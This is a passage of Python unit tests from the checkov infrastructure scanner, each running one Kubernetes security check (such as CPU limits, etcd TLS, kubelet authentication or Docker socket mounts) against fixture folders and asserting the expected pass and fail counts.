os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerkubeletCertificateAuthority" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_CPULimits.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.CPULimits import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestCPULimits(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_Requests_Limits" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_CPURequests.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.CPURequests import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestCPURequests(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_Requests_Limits" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ContainerSecurityContext.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ContainerSecurityContext import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestContainerSecurityContext(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SecurityContexts" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ControllerManagerBindAddress.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ControllerManagerBindAddress import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestControllerManagerBindAddress(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ControllerManagerBindAddress" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: with self.subTest(record=record): self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: with self.subTest(record=record): self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_DangerousGitSync.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.DangerousGitSync import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class DangerousGitSync(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_DangerousGitSync" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Deployment.default.blog-deployment-no-git-sync-git", } failing_resources = { "Deployment.default.fail-deployment", "Deployment.default.fail-deployment2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_DefaultNamespace.py ================================================ import os import unittest from unittest import mock from checkov.kubernetes.checks.resource.k8s.DefaultNamespace import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestDefaultNamespace(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DefaultNamespace" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 9) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) @mock.patch.dict(os.environ, {"HELM_NAMESPACE": "non-default"}) def test_summary_with_env_var(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DefaultNamespace" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 11) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_DefaultServiceAccount.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.DefaultServiceAccount import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestDefaultServiceAccount(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DefaultServiceAccount" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_DefaultServiceAccountBinding.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.DefaultServiceAccountBinding import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestDefaultServiceAccountBinding(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DefaultServiceAccountBinding" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_DockerSocketVolume.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.DockerSocketVolume import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class DockerSocketVolume(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DockerSocketVolume" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 4) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_DropCapabilities.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.DropCapabilities import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestDropCapabilities(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DropCapabilities" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_DropCapabilitiesPSP.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.DropCapabilitiesPSP import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestDropCapabilitiesPSP(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_PSP" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_EtcdAutoTls.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.EtcdAutoTls import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestEtcdAutoTls(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_EtcdAutoTls" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.etcd-default", "Pod.kube-system.etcd-disabled", } failing_resources = { "Pod.kube-system.etcd-enabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_EtcdCertAndKey.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.EtcdCertAndKey import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestEtcdCertAndKey(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_EtcdCertAndKey" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.etcd-key-and-cert", } failing_resources = { "Pod.kube-system.etcd-no-key", "Pod.kube-system.etcd-missing", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_EtcdClientCertAuth.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.EtcdClientCertAuth import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestEtcdClientCertAuth(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_EtcdClientCertAuth" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.etcd-enabled", } failing_resources = { "Pod.kube-system.etcd-default", "Pod.kube-system.etcd-disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_EtcdPeerFiles.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.EtcdPeerFiles import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestEtcdPeerFiles(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_EtcdPeerFiles" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_HostPort.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.HostPort import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestHostPort(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_HostPort" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ImageDigest.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ImageDigest import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestImageDigest(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ImageDigest" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ImagePullPolicyAlways.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ImagePullPolicyAlways import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestImagePullPolicyAlways(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ImagePullPolicy" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 6) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ImageTagFixed.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ImageTagFixed import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestImageTagFixed(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ImageTagFixed" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 4) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeControllerManagerBlockProfiles.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.KubeControllerManagerBlockProfiles import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeControllerManagerBlockProfiles(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_KubeControllerManagerBlockProfiles" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-controller-manager-disabled", } failing_resources = { "Pod.kube-system.kube-controller-manager-default", "Pod.kube-system.kube-controller-manager-enabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(1, summary["passed"]) self.assertEqual(2, summary["failed"]) self.assertEqual(0, summary["skipped"]) self.assertEqual(0, summary["parsing_errors"]) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeControllerManagerRootCAFile.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.KubeControllerManagerRootCAFile import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeControllerManagerRootCAFile(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_KubeControllerManagerRootCAFile" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-controller-manager-none", "Pod.kube-system.kube-controller-manager-pem", } failing_resources = { "Pod.kube-system.kube-controller-manager-no-pem", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeControllerManagerServiceAccountCredentials.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.KubeControllerManagerServiceAccountCredentials import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeControllerManagerServiceAccountCredentials(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_KubeControllerManagerServiceAccountCredentials" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-controller-manager-enabled", } failing_resources = { "Pod.kube-system.kube-controller-manager-default", "Pod.kube-system.kube-controller-manager-disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(1, summary["passed"]) self.assertEqual(2, summary["failed"]) self.assertEqual(0, summary["skipped"]) self.assertEqual(0, summary["parsing_errors"]) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeControllerManagerServiceAccountPrivateKeyFile.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.KubeControllerManagerServiceAccountPrivateKeyFile import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeControllerManagerServiceAccountPrivateKeyFile(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_KubeControllerManagerServiceAccountPrivateKeyFile" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-controller-manager-pem", "Pod.kube-system.kube-controller-manager-none", } failing_resources = { "Pod.kube-system.kube-controller-manager-no-pem", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeControllerManagerTerminatedPods.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.KubeControllerManagerTerminatedPods import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeControllerManagerTerminatedPods(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_KubeControllerManagerTerminatedPods" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-controller-manager-enabled", "Pod.kube-system.kube-controller-manager-default", } failing_resources = { "Pod.kube-system.kube-controller-manager-missing", "Pod.kube-system.kube-controller-manager-disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeletAnonymousAuth.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.KubeletAnonymousAuth import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeletAnonymousAuth(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KubeletAnonymousAuth" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeletAuthorizationModeNotAlwaysAllow.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.KubeletAuthorizationModeNotAlwaysAllow import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeletAuthorizationModeNotAlwaysAllow(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KubeletAuthorizationModeNotAlwaysAllow" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeletClientCa.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.KubeletClientCa import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeletClientCa(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KubeletClientCa" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeletCryptographicCiphers.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.KubeletCryptographicCiphers import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeletCryptographicCiphers(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KubeletCryptographicCiphers" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeletHostnameOverride.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.KubeletHostnameOverride import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeletHostnameOverride(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KubeletHostnameOverride" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeletKeyFilesSetAppropriate.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.KubeletKeyFilesSetAppropriate import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeletKeyFilesSetAppropriate(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KubeletKeyFilesSetAppropriate" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeletMakeIptablesUtilChains.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.KubeletMakeIptablesUtilChains import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeletMakeIptablesUtilChains(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KubeletMakeIptablesUtilChains" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeletProtectKernelDefaults.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.KubeletProtectKernelDefaults import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeletProtectKernelDefaults(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KubeletProtectKernelDefaults" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeletReadOnlyPort.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.KubeletReadOnlyPort import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeletReadOnlyPort(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KubeletReadOnlyPort" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubeletStreamingConnectionIdleTimeout.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.KubeletStreamingConnectionIdleTimeout import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubeletStreamingConnectionIdleTimeout(unittest.TestCase): def test_summary(self): runner = Runner() current_dir 